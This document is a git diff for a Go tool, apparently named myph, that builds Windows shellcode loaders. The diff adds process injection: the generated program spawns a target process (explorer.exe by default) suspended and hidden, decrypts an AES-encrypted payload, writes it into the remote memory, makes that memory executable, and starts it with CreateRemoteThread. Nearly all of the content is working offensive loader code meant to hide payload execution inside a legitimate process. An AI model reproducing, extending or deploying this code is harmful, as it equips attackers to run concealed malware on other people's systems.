diff --git a/cli/defaults.go b/cli/defaults.go
@@ -12,6 +12,7 @@ func GetDefaultCLIOptions() Options {
Outfile: "myph-out.exe",
OS: "windows",
arch: "amd64",
+ Target: "explorer.exe",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -3,10 +3,7 @@ package cli
import (
"fmt"
"os"
- "os/exec"
-
"github.com/spf13/cobra"
-
"github.com/cmepw/myph/loader"
)
@@ -36,10 +33,13 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
+ os.Setenv("GOOS", opts.OS)
+ os.Setenv("GOARCH", opts.arch)
s := loader.Shellcode{
Payload: payload,
Filename: opts.Outfile,
AesKey: []byte(opts.AesKey),
+ Target: opts.Target,
}
fmt.Println("[+] Encrypted shellcode with AES key")
@@ -52,22 +52,7 @@ func GetParser(opts *Options) *cobra.Command {
fmt.Println("[+] loaded Windows template")
/* run compilation */
- os.Setenv("GOOS", opts.OS)
- os.Setenv("GOARCH", opts.arch)
- err = exec.Command(
- "go",
- "build",
- "-ldflags",
- "-s -w -H=windowsgui",
- "-o",
- s.Filename,
- "tmp.go",
- ).Run(); if err != nil {
- println("[!] Compile error: " + err.Error())
- return
- }
- fmt.Println("[+] Successfully compiled shellcode")
- os.Remove("tmp.go")
+ loader.Compile(s)
},
}
@@ -78,6 +63,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
+ cmd.PersistentFlags().StringVarP(&opts.Target, "target-process", "t", defaults.Target, "target for process injection")
return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -16,4 +16,7 @@ type Options struct {
// arch compilation target
arch string
+
+ // target process name to inject
+ Target string
}
diff --git a/go.mod b/go.mod
@@ -3,8 +3,11 @@ module github.com/cmepw/myph
go 1.19
require (
+ github.com/spf13/cobra v1.6.1
+ golang.org/x/sys v0.4.0
+)
+
+require (
github.com/inconshreveable/mousetrap v1.0.1 // indirect
- github.com/spf13/cobra v1.6.1 // indirect
github.com/spf13/pflag v1.0.5 // indirect
- golang.org/x/tools v0.5.0 // indirect
)
diff --git a/go.sum b/go.sum
@@ -6,7 +6,7 @@ github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=
github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
-golang.org/x/tools v0.5.0 h1:+bSpV5HIeWkuvgaMfI3UmKRThoTA5ODJTUd8T17NO+4=
-golang.org/x/tools v0.5.0/go.mod h1:N+Kgy78s5I24c24dU8OfWNEotWjutIs8SnJvn5IDq+k=
+golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18=
+golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loader/compile.go b/loader/compile.go
@@ -0,0 +1,26 @@
+package loader
+
+import (
+ "os"
+ "fmt"
+ "os/exec"
+)
+
+func Compile(sc Shellcode) {
+ err := exec.Command(
+ "go",
+ "build",
+ "-ldflags",
+ "-s -w -H=windowsgui",
+ "-o",
+ sc.Filename,
+ "tmp.go",
+ ).Run(); if err != nil {
+ println("[!] Compile error: " + err.Error())
+ os.Exit(1)
+ }
+ fmt.Println("[+] Successfully compiled shellcode")
+ os.Remove("tmp.go")
+
+
+}
diff --git a/loader/types.go b/loader/types.go
@@ -10,4 +10,7 @@ type Shellcode struct {
// AES key used for encryption & decrpytion
AesKey []byte
+
+ // target process name to inject
+ Target string
}
diff --git a/loader/windows.go b/loader/windows.go
@@ -8,6 +8,7 @@ func LoadWindowsTemplate(s Shellcode) string {
hexShellcode := ToString(s.Payload)
hexKey := ToString(s.AesKey)
+ hexTarget := ToString([]byte(s.Target))
return fmt.Sprintf(`
package main
@@ -27,28 +28,34 @@ import (
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
+ PAGE_READWRITE = 0x4
+ PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
+ CREATE_SUSPENDED = 0x4
+ CREATE_NO_WINDOW = 0x8000000
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
+ VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
- RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
- CreateThread = kernel32.MustFindProc("CreateThread")
OpenProcess = kernel32.MustFindProc("OpenProcess")
- WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
- procVirtualProtect = kernel32.MustFindProc("VirtualProtect")
CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
+ closeHandle = kernel32.MustFindProc("CloseHandle")
)
+
func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
c, err := aes.NewCipher(key)
if err != nil {
@@ -86,8 +93,38 @@ func StringBytesParseString(byteString string) (string, error) {
return string(res), nil
}
+func loadProcess(target string) *syscall.ProcessInformation {
+ var si syscall.StartupInfo
+ var pi syscall.ProcessInformation
+
+ commandLine, err := syscall.UTF16PtrFromString(target)
+
+ if err != nil {
+ panic(err)
+ }
+
+ err = syscall.CreateProcess(
+ nil,
+ commandLine,
+ nil,
+ nil,
+ false,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ nil,
+ nil,
+ &si,
+ &pi)
+
+ if err != nil {
+ panic(err)
+ }
+
+ return &pi
+}
+
func main() {
- /* decrypt shellcode using AES */
+
+ /* decode values from encoded bytes */
key, err := StringBytesParseString("%s"); if err != nil {
os.Exit(1)
}
@@ -96,30 +133,66 @@ func main() {
os.Exit(1)
}
- payload, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
+ target, err := StringBytesParseString("%s"); if err != nil {
+ os.Exit(1)
+ }
+
+ /* decrypt shellcode using AES */
+ shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
os.Exit(1)
}
- addr, _, err := VirtualAlloc.Call(
+
+ /* spawn target process */
+ process := loadProcess(target)
+ oldProtectCfg := PAGE_READWRITE
+
+ /* allocating the appropriate amount of memory */
+ baseAddr, _, err := VirtualAllocEx.Call(
+ uintptr(process.Process),
0,
- uintptr(len(payload)),
- MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+ uintptr(len(shellcode)),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
)
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
- if err != nil && err.Error() != "The operation completed successfully." {
- os.Exit(0)
+ /* overwriting process memory with our shellcode */
+ _, _, err = WriteProcessMemory.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
}
- _, _, err = RtlCopyMemory.Call(
- addr,
- (uintptr)(unsafe.Pointer(&payload[0])),
- uintptr(len(payload)),
+ /* changing permissions for our memory segment */
+ _, _, err = VirtualProtectEx.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(len(shellcode)),
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtectCfg)),
)
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
- if err != nil && err.Error() != "The operation completed successfully." {
- os.Exit(0)
+ /* load remote thread */
+ _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
}
- syscall.Syscall(addr, 0, 0, 0, 0)
+ /* close process handler */
+ _, _, err = closeHandle.Call(uintptr(process.Process))
+ if err.Error() != "The operation completed successfully." {
+ os.Exit(1)
+ }
}
-`, hexKey, hexShellcode)
+`, hexKey, hexShellcode, hexTarget)
}
| | | | | | | |